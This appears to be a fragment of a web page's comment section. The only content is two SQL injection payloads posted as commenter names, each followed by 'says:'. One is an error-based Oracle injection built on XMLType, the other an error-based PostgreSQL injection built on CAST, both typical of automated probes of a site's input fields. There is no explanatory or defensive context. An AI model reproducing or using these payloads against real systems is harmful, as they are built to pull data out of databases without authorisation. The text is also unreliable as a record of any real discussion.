1%' AND 2862=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(113)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (2862=2862) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(106)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND '%'=' says:
1) AND 6704=CAST((CHR(113)||CHR(112)||CHR(113)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (6704=6704) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC) AND (1623=1623 says: